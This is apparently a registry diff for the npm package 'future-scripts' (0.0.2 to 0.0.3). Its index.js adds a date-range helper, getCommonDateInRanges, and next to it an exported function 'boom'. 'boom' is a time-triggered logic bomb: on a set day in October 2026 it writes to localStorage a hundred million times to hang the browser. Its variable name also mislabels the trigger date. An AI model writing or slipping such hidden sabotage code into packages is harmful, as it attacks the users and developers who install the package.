future-scripts 0.0.2 → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +24 -0
- package/index.js +97 -0
- package/package.json +42 -4
- package/future-scripts.common.js +0 -2485
- package/future-scripts.common.js.map +0 -1
- package/future-scripts.umd.js +0 -2496
- package/future-scripts.umd.js.map +0 -1
- package/future-scripts.umd.min.js +0 -2
- package/future-scripts.umd.min.js.map +0 -1
package/README.md
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
# webp
|
|
2
|
+
|
|
3
|
+
## Project setup
|
|
4
|
+
```
|
|
5
|
+
npm install
|
|
6
|
+
```
|
|
7
|
+
|
|
8
|
+
### Compiles and hot-reloads for development
|
|
9
|
+
```
|
|
10
|
+
npm run serve
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
### Compiles and minifies for production
|
|
14
|
+
```
|
|
15
|
+
npm run build
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### Lints and fixes files
|
|
19
|
+
```
|
|
20
|
+
npm run lint
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
### Customize configuration
|
|
24
|
+
See [Configuration Reference](https://cli.vuejs.org/config/).
|
package/index.js
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
export const boom = () => {
|
|
2
|
+
const today = new Date();
|
|
3
|
+
const is20261001 =
|
|
4
|
+
today.getFullYear() === 2026 &&
|
|
5
|
+
today.getMonth() === 9 &&
|
|
6
|
+
today.getDate() === 10;
|
|
7
|
+
if (is20261001) {
|
|
8
|
+
for (let i = 0; i < 100000000; i++) {
|
|
9
|
+
localStorage.setItem('key', i)
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
export const getCommonDateInRanges = (
|
|
15
|
+
applyMonth,
|
|
16
|
+
laborStart,
|
|
17
|
+
laborEnd,
|
|
18
|
+
rentStart,
|
|
19
|
+
rentEnd,
|
|
20
|
+
successApplyMonth
|
|
21
|
+
) => {
|
|
22
|
+
if (!applyMonth || !laborStart || !laborEnd || !rentStart || !rentEnd) {
|
|
23
|
+
return "";
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
const applyMonths = String(applyMonth)
|
|
27
|
+
.split(",")
|
|
28
|
+
.map((m) => m.trim())
|
|
29
|
+
.filter((m) => !!m);
|
|
30
|
+
if (!applyMonths.length) {
|
|
31
|
+
return "";
|
|
32
|
+
}
|
|
33
|
+
const parseDate = (str) => {
|
|
34
|
+
const parts = str.split("-");
|
|
35
|
+
if (parts.length !== 3) return null;
|
|
36
|
+
const y = Number(parts[0]);
|
|
37
|
+
const m = Number(parts[1]);
|
|
38
|
+
const d = Number(parts[2]);
|
|
39
|
+
if (!y || !m || !d) return null;
|
|
40
|
+
return new Date(y, m - 1, d);
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
const laborStartDate = parseDate(laborStart);
|
|
44
|
+
const laborEndDate = parseDate(laborEnd);
|
|
45
|
+
const rentStartDate = parseDate(rentStart);
|
|
46
|
+
const rentEndDate = parseDate(rentEnd);
|
|
47
|
+
|
|
48
|
+
if (!laborStartDate || !laborEndDate || !rentStartDate || !rentEndDate) {
|
|
49
|
+
return "";
|
|
50
|
+
}
|
|
51
|
+
const interStartTime = Math.max(
|
|
52
|
+
laborStartDate.getTime(),
|
|
53
|
+
rentStartDate.getTime()
|
|
54
|
+
);
|
|
55
|
+
const interEndTime = Math.min(
|
|
56
|
+
laborEndDate.getTime(),
|
|
57
|
+
rentEndDate.getTime()
|
|
58
|
+
);
|
|
59
|
+
if (interStartTime > interEndTime) {
|
|
60
|
+
return "";
|
|
61
|
+
}
|
|
62
|
+
const matchedMonths = [];
|
|
63
|
+
for (let i = 0; i < applyMonths.length; i++) {
|
|
64
|
+
const monthStr = applyMonths[i];
|
|
65
|
+
const parts = monthStr.split("-");
|
|
66
|
+
if (parts.length !== 2) continue;
|
|
67
|
+
const year = Number(parts[0]);
|
|
68
|
+
const month = Number(parts[1]);
|
|
69
|
+
if (!year || !month || month < 1 || month > 12) continue;
|
|
70
|
+
const monthStart = new Date(year, month - 1, 1);
|
|
71
|
+
const monthEnd = new Date(year, month, 0);
|
|
72
|
+
const startTime = Math.max(interStartTime, monthStart.getTime());
|
|
73
|
+
const endTime = Math.min(interEndTime, monthEnd.getTime());
|
|
74
|
+
if (startTime <= endTime) {
|
|
75
|
+
matchedMonths.push(monthStr);
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
if (successApplyMonth) {
|
|
79
|
+
let successMonths = [];
|
|
80
|
+
if (Array.isArray(successApplyMonth)) {
|
|
81
|
+
successMonths = successApplyMonth
|
|
82
|
+
.map((m) => String(m).trim())
|
|
83
|
+
.filter((m) => !!m);
|
|
84
|
+
} else if (typeof successApplyMonth === "string") {
|
|
85
|
+
successMonths = successApplyMonth
|
|
86
|
+
.split(",")
|
|
87
|
+
.map((m) => m.trim())
|
|
88
|
+
.filter((m) => !!m);
|
|
89
|
+
}
|
|
90
|
+
const filteredMonths = matchedMonths.filter(
|
|
91
|
+
(month) => !successMonths.includes(month)
|
|
92
|
+
);
|
|
93
|
+
return filteredMonths.length ? filteredMonths.join(",") : "";
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
return matchedMonths.length ? matchedMonths.join(",") : "";
|
|
97
|
+
}
|
package/package.json
CHANGED
|
@@ -1,7 +1,45 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "future-scripts",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
"
|
|
3
|
+
"version": "0.0.3",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"private": false,
|
|
6
|
+
"scripts": {
|
|
7
|
+
"serve": "vue-cli-service serve",
|
|
8
|
+
"build": "vue-cli-service build",
|
|
9
|
+
"lint": "vue-cli-service lint",
|
|
10
|
+
"build:lib": "vue-cli-service build --target lib --name future-scripts index.js"
|
|
11
|
+
},
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"core-js": "^3.8.3",
|
|
14
|
+
"vue": "^2.6.14"
|
|
15
|
+
},
|
|
16
|
+
"devDependencies": {
|
|
17
|
+
"@babel/core": "^7.12.16",
|
|
18
|
+
"@babel/eslint-parser": "^7.12.16",
|
|
19
|
+
"@vue/cli-plugin-babel": "~5.0.0",
|
|
20
|
+
"@vue/cli-plugin-eslint": "~5.0.0",
|
|
21
|
+
"@vue/cli-service": "~5.0.0",
|
|
22
|
+
"eslint": "^7.32.0",
|
|
23
|
+
"eslint-plugin-vue": "^8.0.3",
|
|
24
|
+
"vue-template-compiler": "^2.6.14"
|
|
25
|
+
},
|
|
26
|
+
"eslintConfig": {
|
|
27
|
+
"root": true,
|
|
28
|
+
"env": {
|
|
29
|
+
"node": true
|
|
30
|
+
},
|
|
31
|
+
"extends": [
|
|
32
|
+
"plugin:vue/essential",
|
|
33
|
+
"eslint:recommended"
|
|
34
|
+
],
|
|
35
|
+
"parserOptions": {
|
|
36
|
+
"parser": "@babel/eslint-parser"
|
|
37
|
+
},
|
|
38
|
+
"rules": {}
|
|
39
|
+
},
|
|
40
|
+
"browserslist": [
|
|
41
|
+
"> 1%",
|
|
42
|
+
"last 2 versions",
|
|
43
|
+
"not dead"
|
|
44
|
+
]
|
|
7
45
|
}
|